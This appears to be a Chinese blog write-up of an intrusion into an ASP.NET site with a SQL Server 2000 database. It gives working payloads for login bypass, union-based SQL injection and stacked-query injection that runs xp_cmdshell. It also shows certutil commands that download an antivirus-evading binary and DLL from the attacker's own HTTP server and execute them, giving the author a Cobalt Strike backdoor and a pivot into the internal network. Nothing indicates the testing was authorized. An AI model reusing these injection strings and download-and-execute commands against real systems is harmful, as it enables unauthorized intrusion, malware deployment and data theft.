记一次SQLSERVER渗透

2023-02-17 00:00:00 路径 文件 注入 分离 发现

拿到一批资产,通过xray扫描出一个注入点。

前端做了过滤

burp抓包构造admin',发现返回。大概率是存在注入的。

width=100>异常信息:</td><td>第 1 行: ' and pw=' 附近有语法错误。
字符串 '' 之前有未闭合的引号。</td></tr></table>

在username构造admin' or '1'='1 密码直接登录成功

在后台找到了一个上传点,上传成功了,但是没有路径。

下载方式通过readfile?id=xxx的形式,估计路径是写在数据库里面。

数据库内容比较多,找了一圈没发现可用的路径。

因为登录注入会有大量操作日志,所以我们更换了一个注入点editfirst.aspx?lb=ji%27 union select %27123%27 --&id=78,发现回显位置。

select @@version,发现是server2000版本的。

确认注入点后,直接尝试XPCMDSHELL(2000默认开启的xpcmdshell)

直接使用cmd for去查询路径,因为回显的问题,所以要把查询结果写入表内。

新建一个cmdecho表

editfirst.aspx?lb=ji%27;CREATE%20TABLE%20cmdecho(dir%20varchar(8000))%20--&id=2383

把内容写入表内

editfirst.aspx?lb=ji%27;insert%20into%20cmdecho(dir)%20exec%20master..xp_cmdshell%20%27for%20/r%20d:\%20%i%20in%20(*shell*.aspx)%20do%20@echo%20%i%27%20--&id=2383

select * from cmdecho 查询结果,发现为空,说明不存在这个文件。

发现系统上并没有我上传的shell,很有可能是站库分离的,为了确 认这个,我们写入一个TXT到含有aspx文件的目录下

editfirst.aspx?lb=ji%27;insert%20into%20cmdecho2(dir)%20exec%20master..xp_cmdshell%20%27echo abcdefgaaaaa d:\xxxxxx\test.txt%27%20--&id=2383

尝试访问test.txt,失败。

这里思考了一下,很可能是站库分离,所以找到不到路径。

用两条命令验证一下

select @@servername;

select host_name();

发现结果不一致,说明是站库分离

那直接想办法上CS后门。

使用systeminfo查看系统信息,server2003

tasklist查看进程,发现有360tray.exe、dep360.exe 。发现有360存在,找大佬做了一个白+黑的免杀。

上传到服务器,开启8000端口提供下载

python -m SimpleHTTPServer 8000

使用certutil证书下载,并且通过COPY修改文件名

因为是server2003的系统 , certutil下载后,会在目录下生成Blob0_0.bin文件。

xpcmdshell的默认路径是在C:\Windows\System32\

editfirst.aspx?lb=ji%27;insert%20into%20cmdecho2(dir)%20exec%20master..xp_cmdshell%20%27certutil.exe%20-urlcache%20-split%20-f%20http://xx.xx.xx.xx:8000/360se.exe%27%20--&id=78

把缓存文件内容copy成exe形式

editfirst.aspx?lb=ji%27;exec%20master..xp_cmdshell%20%27copy Blob0_0.bin 360se.exe%27%20--&id=78

把缓存文件内容copy成dll形式

editfirst.aspx?lb=ji%27;insert%20into%20cmdecho2(dir)%20exec%20master..xp_cmdshell%20%27certutil.exe%20-urlcache%20-split%20-f%20http://xx.xx.xx.xx:8000/chel.dll%27%20--&id=78


后执行exe,成功CS上线

editfirst.aspx?lb=ji%27;insert%20into%20cmdecho2(dir)%20exec%20master..xp_cmdshell%20%27C:\Windows\System32\360se.exe%27%20--&id=78

后续通过CS代理到内网访问其中的几个IP,发现确实是站库分离的。

因为时间问题就没深入去弄了,这里用SQLMAP跑不出上传路径,在项目备份文件里面翻到了备份的代码(里面有上传文件和下载文件的代码,还有数据库配置文件normalFunNS)。不过这些都没能够用上。

虽然是站库分离的状态,里面涉及的数据和系统比较多,可以从里面翻到一些有趣的东西。或者直接上远控去数据库里面翻一翻找到shell的路径,主站就可以拿下了。


本文来源https://www.modb.pro/db/122229

相关文章